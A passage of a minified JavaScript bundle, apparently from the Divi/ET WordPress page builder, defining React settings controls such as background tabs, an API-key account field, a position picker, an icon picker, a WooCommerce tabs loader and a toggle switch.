t=[],n=this.props.backgroundFields||this.props.background_fields||{};if(T()(n,function(e,o){var r=ir({name:o},e),i=Qo()(n,function(t){var n=t.affects_template;return p()(n,e.field_template)});if(!c()(i)){var s=_n()(i);a()(r,"depends_on")?r.depends_on=er()([].concat(sr(r.depends_on),sr(s))):r.depends_on=s}t.push(r)}),this._backgroundFields={},!c()(t)){var o=Yo()(t,["priority"]);T()(o,function(t){e._backgroundFields[t.name]=t})}return this._backgroundFields}},{key:"_getActiveTab",value:function(){var e=this,t=O()(_n()(this._getTabsNotEmpty()),function(t){return!e._isTabDisabled(t)&&t===e.state.activeTab});return t||this.defaultTab}},{key:"_getTabs",value:function(){var e=this;return c()(this._tabs)?(this._tabs={},T()(ETBuilderBackend.backgroundTabs,function(t){e._tabs[t]=Qo()(e._getFields(),function(e){return e.background_tab===t})}),this._tabs):this._tabs}},{key:"_getTabsNotEmpty",value:function(){return Qo()(this._getTabs(),function(e){return!c()(e)})}},{key:"_getGradientPreviewStyle",value:function(e){var t=this,n={};return T()(q.default.gradientFieldsMapping(),function(o,r){var i=t._getAttrsByTemplate(o,e);$o()(i)||(n[r]=i)}),n}},{key:"_getImagePreviewStyle",value:function(e){var t=this,n={};T()(["color","size","position","repeat","blend","parallax"],function(o){var r=t._getAttrsByTemplate(o,e);if(!$o()(r))switch(o){case"parallax":n[o]=q.default.isOn(r);break;default:n[o]=r}});var o=this._getAttrsByTemplate("use_color_gradient",e),r=this._getAttrsByTemplate("color_gradient_overlays_image",e);if(q.default.isOn(o)){var i=this._getGradientPreviewStyle(e);i&&(n.gradient=q.default.getGradient(i),n.gradientOverlaysImage=r)}return n}},{key:"_isTabDisabled",value:function(e){return!!(this.props.isColumnBackground&&"color"!==e&&tr.a.isHoverMode()&&tr.a.isHoverEnabled(this._getBackgroundBase(),this._getModuleAttrs()))}},{key:"_isTabFilled",value:function(e){var t=this;if(this._isTabDisabled(e))return!1;var n=Qo()(this._getFields(),function(t){return t.background_tab===e&&t.tab_filler});return!c()(n)&&U()(n,function(e){return"use_color_gradient"===e.field_template?q.default.isOn(t._getAttrs(e.name,!0)):q.default.hasValue(t._getAttrs(e.name,!0))})}},{key:"_isFieldHidden",value:function(e){var t=this;return!!p()(["color_gradient_start","color_gradient_end"],r()(e,"field_template"))||!!a()(e,"depends_on")&&U()(e.depends_on,function(n){var o=t._getField(n);if(!o)return!1;if(a()(o,"depends_on")&&t._isFieldHidden(o))return!0;var r=t._getAttrs(o.name,!0);return!(!a()(e,"depends_show_if")||e.depends_show_if===r)||!(!a()(e,"depends_show_if_not")||e.depends_show_if_not!==r)})}},{key:"_normalizeField",value:function(e){var t=this,n=this.props,o=n.animate,r=n.module,i=n.moduleAttrs,a=ir({},e,{controlType:e.type,value:this._getAttrs(e.name,!0),default:this._getDefault(e.name),animate:o,module:r,moduleAttrs:i,_onChange:this._onChange});if("color"===a.field_template&&(a.disableCurrent=!1,a.hasPreview=!0,a.hasColorManager=!0,a.showPickerPalettes=!1,a.hidePickerOnPaletteSelect=!0,a.hidePaletteOnPickerActive=!1,a.addTitle=z.d.getI18n("controls.background.addColor"),je.a.isHoverMode()&&(a.name=a.name+"__hover")),"use_color_gradient"===a.field_template){a.controlType="gradient",a.hasPreview=!0,a.addTitle=z.d.getI18n("controls.background.addGradient"),a._onChange=this._onChangeGradient,a._onMouseEnter=this._onMouseEnterFormGroupGradient,a._onMouseLeave=this._onMouseLeaveFormGroupGradient;var s=this._getAttrsByTemplate("use_color_gradient",!0);if(q.default.isOn(s)){var l=this._getGradientPreviewStyle(!0),u=Uo()(["colorStart","colorEnd"],function(e){var n=t._getFieldByTemplate(q.default.gradientFieldsMapping(e));return!n||t._getDefault(n.name)===l[e]});a.value=l,a.hideResetButton=u}else a.value=""}return"image"===a.field_template&&(a.addTitle=z.d.getI18n("controls.background.addImage"),a.isBackgroundType=!0,a.imagePreviewAttrs=this._getImagePreviewStyle(!0)),p()(["video_mp4","video_webm"],a.field_template)&&(a.addTitle=z.d.getI18n("controls.background.addVideo")),a}},{key:"_renderTabNavs",value:function(e){var t=this,n=this._getActiveTab(),o=C()(["et-fb-settings-background-tab-navs","et-fb-settings-background-tab-navs-items--"+_n()(e).length]);return v.a.createElement("ul",{className:o},_n()(e).map(function(e){var o=["et-fb-settings-background-tab-nav--"+e,"et-fb-settings-background-tab-nav"];t._isTabDisabled(e)&&o.push("et-fb-settings-background-tab-nav--disabled");var r=n===e,i=t._isTabFilled(e);r&&o.push("et-fb-settings-background-tab-nav--active");var a=r||i?qt.a.info:qt.a.inactiveGrey;return v.a.createElement("li",{key:e},v.a.createElement("button",{className:C()(o),name:e,"data-tab":e,onClick:t._onClickTabNav,onMouseEnter:t._onMouseEnterTabNav,onMouseLeave:t._onMouseLeaveTabNav},v.a.createElement(M.a,{icon:"background-"+e,color:a})))}))}},{key:"_renderTabs",value:function(e){var t=this,n=this._getActiveTab();return ze()(e,function(e,o){if(n!==o)return!1;var r=["et-fb-settings-background-tab","et-fb-settings-background-tab--"+o,"et-fb-settings-background-tab--active"];return v.a.createElement("div",{key:o,className:C()(r)},t._renderFields(e,o))})}},{key:"_renderFields",value:function(e){var t=this;return ze()(e,function(e){var n=e.name||"";if(!n)return!1;var o=t._normalizeField(e);if(!o)return!1;var r=o.controlType||"";if(!r||!a()(lr,r))return!1;if(t._isFieldHidden(o))return!1;var i,s,u,c=["et-fb-settings-options","et-fb-option--"+o.type.replace("_","-")];return l()(o.depends_default)&&l()(o.depends_show_if)&&l()(o.depends_show_if_not)||c.push("et-fb-option--depends-on"),v.a.createElement(rr.b,{key:"general-form-group-"+n,className:C()((i={},s="et-fb-form__group--"+n,u=!0,s in i?Object.defineProperty(i,s,{value:u,enumerable:!0,configurable:!0,writable:!0}):i[s]=u,i)),name:n,onMouseEnterGroup:t._onMouseEnterFormGroup,onMouseLeaveGroup:t._onMouseLeaveFormGroup,isGlobalOptionSynced:o.isGlobalOptionSynced,isSelectiveSyncAvailable:o.isSelectiveSyncAvailable,_unsyncGlobalSetting:o._unsyncGlobalSetting},t._renderFieldLabel(o,n),t._renderFieldDescription(o,n),v.a.createElement("div",{key:"et-fb-option-advanced_"+n,className:C()(c)},v.a.createElement("div",{key:"et-fb-option-container-"+n,className:"et-fb-option-container"},t._renderControl(o,n))))})}},{key:"_renderFieldLabel",value:function(e,t){if(!e.label||p()(["color","use_color_gradient","image"],e.field_template))return!1;var n=q.default.hasValue(e.description),o=this.props.isResetActive(e),r=this.props.isHoveredGroup(e.name),i=n&&this.props.isDescriptionVisible(e.name),a=!!n&&this.props.onClickHelp;return v.a.createElement(rr.c,{key:"general-form-label-"+t,name:e.name,hoveredGroup:r,isResetActive:o,activeHelp:i,onClickHelp:a,onClickReset:this.props.onClickReset,onToggleRightMenu:this.props.onToggleRightMenu},e.label)}},{key:"_renderFieldDescription",value:function(e,t){return!(!e.description||p()(["color","use_color_gradient","image"],e.field_template))&&v.a.createElement(rr.a,{key:"general-form-description-"+t,active:this.props.isDescriptionVisible(e.name)},e.description)}},{key:"_renderControl",value:function(e,t){var n=e.controlType||"";return!(!n||!a()(lr,n))&&("image"===e.field_template?this._renderControlDynamic(e,t):v.a.createElement(lr[n],ir({key:t},e)))}},{key:"_renderControlDynamic",value:function(e,t){var n=e.controlType||"";if(!n||!a()(lr,n))return!1;var o=e.value||"",r=this._getFieldNameByMode(e.name),i=Object(or.e)(this._getModuleAttrs()),s=!tr.a.isDesktopMode()&&!qo()(e.value,e.default);return Object(or.g)(o)&&!p()(i,r)&&i.push(r),v.a.createElement(nr.a,{key:t,type:"image",previewMode:"background",fieldName:r,fieldType:e.type,value:o,previewAttributes:e.imagePreviewAttrs,dynamicAttributes:i,showInheritButton:s,onChange:this._onChange,onReset:this._onResetDynamic,onInherit:this._onInheritDynamic},v.a.createElement(lr[n],ir({key:t},e)))}},{key:"render",value:function(){var e=this._getTabsNotEmpty();return!c()(e)&&v.a.createElement("div",null,this._renderTabNavs(e),v.a.createElement("div",{className:"et-fb-settings-background-tabs"},this._renderTabs(e)))}}]),t}();ur.propTypes={name:y.a.string,activeTab:y.a.string,toggle_slug:y.a.string,tab_slug:y.a.string,isColumnBackground:y.a.bool,readonly:y.a.bool,animate:y.a.bool,moduleAttrs:y.a.object,backgroundFields:y.a.object,background_fields:y.a.object,_onChange:y.a.func,onMouseEnterGroup:y.a.func,onMouseLeaveGroup:y.a.func,isResetActive:y.a.func,isHoveredGroup:y.a.func,isDescriptionVisible:y.a.func,onClickReset:y.a.func,onClickHelp:y.a.func,onToggleRightMenu:y.a.func};var cr=ur,dr=n(1444),pr=n(1328),fr=n(1450),hr=n(66),mr=n.n(hr),gr=n(124),vr=n.n(gr),br=n(69),yr=n.n(br),_r=function(e){return r()(e,"props.module.props.module",!1)},kr=(n(1452),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());function wr(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Cr=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n._apiFields=function(){var e=n.props.name.split("_").shift(),t=_n()(_r(n).props.attrs);return yr()(t,function(t){return mr()(t,e+"_")&&!vr()(t,"_list")})},n.onAddAccountAjaxComplete=function(){n.setState({ajax_in_progress:!1}),n.props._onChange(n.props.name,"",void 0,void 0,!0),T()(n._apiFields(),function(e){n.props._onChange(e,"",void 0,void 0,!0)})},n.state={ajax_in_progress:!1},n.shouldComponentUpdate=k.a.shouldComponentUpdate.bind(n),n._onClickCancelButton=n._onClickCancelButton.bind(n),n._onClickSubmitButton=n._onClickSubmitButton.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,v.a.Component),kr(t,[{key:"UNSAFE_componentWillMount",value:function(){L.a.addModuleSettingsAddAccountAjaxCompleteEventListener(this.onAddAccountAjaxComplete)}},{key:"componentWillUnmount",value:function(){L.a.removeModuleSettingsAddAccountAjaxCompleteEventListener(this.onAddAccountAjaxComplete)}},{key:"_onClickCancelButton",value:function(){L.a.emitModuleSettingsAddAccountCancelEvent.call(L.a);var e=this.props.name.split("_").shift();Ht()(this.node).closest(".et-fb-form__toggle-enabled").find('input[name^="'+e+'"]').css("border",""),this.state.ajax_in_progress&&this.setState({ajax_in_progress:!1})}},{key:"_onClickSubmitButton",value:function(){var e=this.props.name.split("_").shift(),t=Ht()(this.node).closest(".et-fb-form__toggle-enabled").find('input[name^="'+e+'"]').filter(function(e,t){return""===Ht()(t).val()&&""===Ht()(t).attr("placeholder")&&!Ht()(t).hasClass("et-fb-settings-option--not-required")});if(t.length>0)return t.css("border","1px solid #EF5555"),void t.on("input",function(){Ht()(this).val()&&Ht()(this).css("border","")||Ht()(this).css("border","1px solid #EF5555")});L.a.emitModuleSettingsAddAccountSubmitEvent.call(L.a),this.setState({ajax_in_progress:!0})}},{key:"render",value:function(){var e,t=this,n=this.props.type.replace(/_/g,"-"),o=C()({"et-fb-settings-button--additional-button":!0}),i=C()({"et-fb-settings-option--with-after-element":!0,"et-fb-settings-option--not-required":this.props.not_required}),a=C()((wr(e={},"et-fb-option--"+n,!0),wr(e,"et-fb-option-group--last-field",!0),e));return v.a.createElement("div",{ref:function(e){return t.node=e},className:a},v.a.createElement(zt.a,{name:this.props.name,value:l()(this.props.value)?"":this.props.value,className:i,groups:!0,options:this.props.options,module:this.props.module,_onChange:this.props._onChange}),v.a.createElement(Po.a,{className:C()(o,"et-fb-button--cancel"),_onClick:this._onClickCancelButton,inverse:!0},r()(this.props,"after[0].text","")),v.a.createElement(yo.a,{useWrapper:!1,isLoading:this.state.ajax_in_progress},v.a.createElement(Po.a,{className:o,_onClick:this._onClickSubmitButton,inverse:!0},r()(this.props,"after[1].text",""))))}}]),t}(),Er=n(270),Or=n.n(Er),Sr=(n(1453),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),Tr=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var Mr=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["PureComponent"]),Tr(t,[{key:"render",value:function(){var e=Object(g.createElement)(zt.a,Sr({},this.props));return v.a.createElement(g.Fragment,null,e,v.a.createElement("div",{className:"et-fb-settings-unsupported-notice",dangerouslySetInnerHTML:{__html:Or()(r()(ETBuilderBackend,"i18n.vbSupport.unsupportedFieldType",""))}}))}}]),t}(),xr=n(1324),Pr=(n(1454),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var jr="et-fb-settings-position",Lr=function(e){return r()(e,"currentTarget.dataset.origin_type","top_left").split("_")},Nr=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.state={value:n.props.value||n.props.default},n.handleButtonOnClick=function(e){if(!n.eventInitReadOnly(e)){var t=Lr(e),o=t.join("_");c()(n.hRuler.current)||("center"===t[0]?n.hRuler.current.style.backgroundColor=qt.a.selectPositionGray:n.hRuler.current.style.backgroundColor="transparent","center"===t[1]?n.vRuler.current.style.backgroundColor=qt.a.selectPositionGray:n.vRuler.current.style.backgroundColor="transparent"),n.props._onChange(n.props.name,o),n.setState({value:o})}},n.handleButtonOnMouseEnter=function(e){if(!n.eventInitReadOnly(e)){var t=Lr(e);"center"===t[0]&&(n.hRuler.current.style.backgroundColor=qt.a.selectPositionGray),"center"===t[1]&&(n.vRuler.current.style.backgroundColor=qt.a.selectPositionGray)}},n.handleButtonOnMouseLeave=function(e){if(!n.eventInitReadOnly(e)){var t=Lr(e),o=n.state.value.split("_");"center"===t[0]&&"center"!==o[0]&&(n.hRuler.current.style.backgroundColor="transparent"),"center"===t[1]&&"center"!==o[1]&&(n.vRuler.current.style.backgroundColor="transparent")}},n.position="absolute",p()(e.name,"_f")?n.position="fixed":p()(e.name,"_r")&&(n.position="relative"),n.hRuler=v.a.createRef(),n.vRuler=v.a.createRef(),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,v.a.Component),Pr(t,null,[{key:"getDerivedStateFromProps",value:function(e,t){return t.value!==e.value?{value:e.value||e.default}:null}}]),Pr(t,[{key:"shouldComponentUpdate",value:function(e,t){return q.default.shouldComponentUpdate(this,e,t)}},{key:"getButtonClass",value:function(e){return e===this.state.value?jr+"-button-active":jr+"-button"}},{key:"eventInitReadOnly",value:function(e){return e.preventDefault(),e.stopPropagation(),this.props.readonly}},{key:"renderButton",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return""!==e?v.a.createElement("div",{className:this.getButtonClass(e)+" "+jr+"-"+this.position,"data-origin_type":e,onMouseDown:this.handleButtonOnClick,onMouseEnter:this.handleButtonOnMouseEnter,onMouseLeave:this.handleButtonOnMouseLeave}):v.a.createElement("div",{className:jr+"-button-guide "+jr+"-"+this.position})}},{key:"renderNineController",value:function(){var e=this.state.value.split("_"),t="transparent",n="transparent";return"center"===e[0]&&(t=qt.a.selectPositionGray),"center"===e[1]&&(n=qt.a.selectPositionGray),v.a.createElement(v.a.Fragment,null,v.a.createElement("div",{className:jr+"-hr",ref:this.hRuler,style:{backgroundColor:t}}),v.a.createElement("div",{className:jr+"-vr",ref:this.vRuler,style:{backgroundColor:n}}),v.a.createElement("div",{className:jr+"-control-guide "+jr+"-"+this.position},v.a.createElement("div",{className:jr+"-control-inner-top"},this.renderButton(),this.renderButton(),this.renderButton()),v.a.createElement("div",{className:jr+"-control-inner-mid"},this.renderButton(),this.renderButton(),this.renderButton()),v.a.createElement("div",{className:jr+"-control-inner-bottom"},this.renderButton(),this.renderButton(),this.renderButton())),v.a.createElement("div",{className:jr+"-control-frame "+jr+"-"+this.position}),v.a.createElement("div",{className:jr+"-control-guide "+jr+"-"+this.position},v.a.createElement("div",{className:jr+"-control-inner-top"},this.renderButton("top_left"),this.renderButton("top_center"),this.renderButton("top_right")),v.a.createElement("div",{className:jr+"-control-inner-mid"},this.renderButton("center_left"),this.renderButton("center_center"),this.renderButton("center_right")),v.a.createElement("div",{className:jr+"-control-inner-bottom"},this.renderButton("bottom_left"),this.renderButton("bottom_center"),this.renderButton("bottom_right"))))}},{key:"renderFourController",value:function(){return v.a.createElement(v.a.Fragment,null,v.a.createElement("div",{className:jr+"-control-guide "+jr+"-"+this.position},v.a.createElement("div",{className:jr+"-control-inner-top"},this.renderButton(),v.a.createElement("div",{className:jr+"-button-space"}),this.renderButton()),v.a.createElement("div",{className:jr+"-control-inner-bottom"},this.renderButton(),v.a.createElement("div",{className:jr+"-button-space"}),this.renderButton())),v.a.createElement("div",{className:jr+"-control-frame "+jr+"-"+this.position}),v.a.createElement("div",{className:jr+"-control-guide "+jr+"-"+this.position},v.a.createElement("div",{className:jr+"-control-inner-top"},this.renderButton("top_left"),v.a.createElement("div",{className:jr+"-button-space"}),this.renderButton("top_right")),v.a.createElement("div",{className:jr+"-control-inner-bottom"},this.renderButton("bottom_left"),v.a.createElement("div",{className:jr+"-button-space"}),this.renderButton("bottom_right"))))}},{key:"render",value:function(){return v.a.createElement("div",{id:jr+"-container",className:jr+"-container"},"relative"===this.position?this.renderFourController():this.renderNineController())}}]),t}();Nr.propTypes={default:y.a.string,name:y.a.string.isRequired,value:y.a.string,_onChange:dt.a,readonly:y.a.bool},Nr.defaultProps={default:"top_left",name:"position_origin_r",value:"top_left",_onChange:dt.a,readonly:!1};var Dr=Nr,Ar=(n(1455),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());function Fr(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var Ir=function(e,t){return e===t?"":e},Rr=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];return n=o=Fr(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o.onClick=function(e){return o.props._onChange(o.props.name,Ir(e,o.props.value))},Fr(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["Component"]),Ar(t,[{key:"shouldComponentUpdate",value:function(e){return this.props.name!==e.name||this.props.value!==e.value||this.props.size!==e.size||this.props.className!==e.className||!qo()(this.props.options,e.options)}},{key:"render",value:function(){var e=this;return v.a.createElement("div",{className:"et-fb-settings-option-icon-picker "+this.props.className},ze()(this.props.options,function(t,n){var o=n===e.props.value?qt.a.uiActiveIcon:qt.a.uiInactiveIcon;return v.a.createElement("span",{className:"et-fb-settings-option-icon-picker-button",key:n,onClick:e.onClick.bind(null,n)},v.a.createElement(M.a,{size:e.props.size,color:o,icon:t}))}))}}]),t}();Rr.propTypes={name:y.a.string.isRequired,value:y.a.oneOfType([y.a.string,y.a.number]),size:y.a.number,options:y.a.object.isRequired,className:y.a.string,_onChange:y.a.func.isRequired},Rr.defaultProps={value:"",size:12,className:""};var Br=n(128),Wr=n.n(Br),Vr=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};var Hr=function(e){return Wr()(e,function(e,t,n){return Vr({},e,function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}({},n,function(e){switch(e){case"force_left":case"left":return"align-left";case"center":return"align-center";case"right":return"align-right";default:return e}}(n)))},{})},Gr=(n(1286),n(1456)),Ur=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},zr=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var qr=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));Kr.call(n);var o=z.d.getCurrentPage("woocommerceTabs",{});return["current","latest"].includes(n.getProp(n.props,"product",null))||(o={}),n.state={options:o},n.currentProductOptions={},n.computedDependsOn=[],n.updateStateOptions=n.updateStateOptions.bind(n),n.getArguments=n.getArguments.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["Component"]),zr(t,[{key:"componentDidMount",value:function(){var e=this.state.options;this.computedDependsOn=r()(this.props,"computed_depends_on",[]),this.currentProductOptions=e,this.setOptions(this.currentProductOptions),L.a.addWoocommerceCheckboxOptionsUpdatedListener(this.updateStateOptions)}},{key:"componentDidUpdate",value:function(e){var t=this;T()(this.computedDependsOn,function(n){var o=t.getProp(t.props,n);o!==t.getProp(e,n)&&"current"===o&&(t.setOptions(t.currentProductOptions),L.a.addWoocommerceCheckboxOptionsUpdatedListener(t.updateStateOptions))})}},{key:"componentWillUnMount",value:function(){L.a.removeWoocommerceCheckboxOptionsUpdatedListener(this.updateStateOptions)}},{key:"updateStateOptions",value:function(){var e=L.a.getWooCommerceCheckboxOptions();this.setState({options:e})}},{key:"render",value:function(){var e=this,t=this.props,n=t.name,o=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(t,["name"]);return v.a.createElement(Gr.a,Ur({},o,{name:n,options:this.state.options,computedDependsOn:this.computedDependsOn,arguments:this.getArguments,setOptions:function(t){return e.setOptions(t)},skipRequest:"current"===this.getProp(this.props,"product",null)}))}}]),t}(),Kr=function(){this.setOptions=function(e){Me.b.setWoocommerceCheckboxOptions(e)},this.getArguments=function(e,t){var n={};return n[e]=t,n.action="et_builder_get_woocommerce_tabs",n.nonce=ETBuilderBackend.nonces.getWoocommerceTabs,n},this.getProp=function(e,t){return r()(e,"moduleAttrs."+t,null)}};qr.propTypes={moduleAttrs:y.a.object.isRequired},qr.defaultProps={};var $r=qr,Xr=n(1457),Yr=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var Jr=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e)}return Yr(e,null,[{key:"getControl",value:function(t){return!l()(t)&&""!==t&&!p()(["skip","computed","hidden","column_settings_background","column_settings_padding","et_builder_generate_pin_zoom_level_input"],t)&&(a()(e._map,t)?r()(e._map,t):c()(m.a.findComponentBySlug(t,"field"))?Mr:h.a)}}]),e}();Jr._map={transform:xr.a,position:Dr,color:F.a,"color-alpha":F.a,gradient:te,background:cr,"background-field":cr,"border-radius":dr.a,custom_margin:Be,custom_padding:Be,composite:pr.a,date_picker:Ge,divider:ln,"column-structure":pn,categories:lt,center_map:Vo,upload_gallery:xo,"upload-gallery":xo,select_icon:gn.a,select_sidebar:mn,font:jn,number:zt.a,multiple_buttons:xt.a,multiple_checkboxes:Mt.a,checkboxes:ut.a,checkboxes_advanced_woocommerce:$r,presets:A,presets_shadow:Vn,range:Ot,select:Pt.a,select_product:rn,text:zt.a,input:zt.a,textarea:St.a,codemirror:Tt.a,text_align:Dn,tiny_mce:An.a,upload:Hn.a,yes_no_button:Fn.a,options_list:f.d,conditional_logic:In.a,select_animation:Rn,select_box_shadow:function(e){return v.a.createElement(A,Bn({},e,{className:"et_box_shadow "+e.className}))},warning:Ho.a,select_with_option_groups:fr.a,text_api_key:Cr,sortable_list:f.d,select_post:nn,icon_picker:Rr,align:function(e){var t=e.name,n=e.value,o=e.options,r=e._onChange;return v.a.createElement(Rr,{_onChange:r,options:Hr(o),name:t,value:n,size:12})},motion:Xr.a};t.a=Jr},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(22),l=n.n(s),u=n(46),c=n.n(u),d=n(7),p=n.n(d),f=(n(1332),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),h=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function m(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var g=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];return n=o=m(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o._onChange=function(){var e=o.props,t=e.name,n=e.value,r=e._onChange,i=e.readonly,a=o._getDefaultValue();i||r(t,"on"===(!n&&a?a:n)?"off":"on")},m(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["PureComponent"]),h(t,[{key:"_getDefaultValue",value:function(){return this.props.defaultValue||this.props.default}},{key:"render",value:function(){var e=this.props,t=e.className,n=e.onClick,o=e.value,i=e.name,a=e.id,s=e.dataCy,u=this._getDefaultValue(),c=!p()(this.props.button_options)&&"equal"===this.props.button_options.button_type,d=!o&&u?u:o,h=l()({"et-core-control-toggle":!0,"et-core-control-toggle--equal":c,"et-core-control-toggle--on":"on"===d,"et-core-control-toggle--off":!d||"off"===d},t);!a&&i&&(a="et-fb-"+i);var m={};return this.props.readonly&&(m.disabled=!0),r.a.createElement("div",f({className:h,"data-cy":s,onClick:n||this._onChange},m),r.a.createElement("div",{className:"et-core-control-toggle__label et-core-control-toggle__label--on"},r.a.createElement("div",{className:"et-core-control-toggle__text"},this.props.options.on),r.a.createElement("div",{className:"et-core-control-toggle__handle"})),r.a.createElement("div",{className:"et-core-control-toggle__label et-core-control-toggle__label--off"},r.a.createElement("div",{className:"et-core-control-toggle__text"},this.props.options.off),r.a.createElement("div",{className:"et-core-control-toggle__handle"})),r.a.createElement("input",{type:"hidden",id:a,name:i,value:o}))}}]),t}();g.propTypes={dataCy:a.a.string},g.defaultProps={value:"off",_onChange:c.a},t.a=g},function(e,t,n){"use strict";(function(e){var 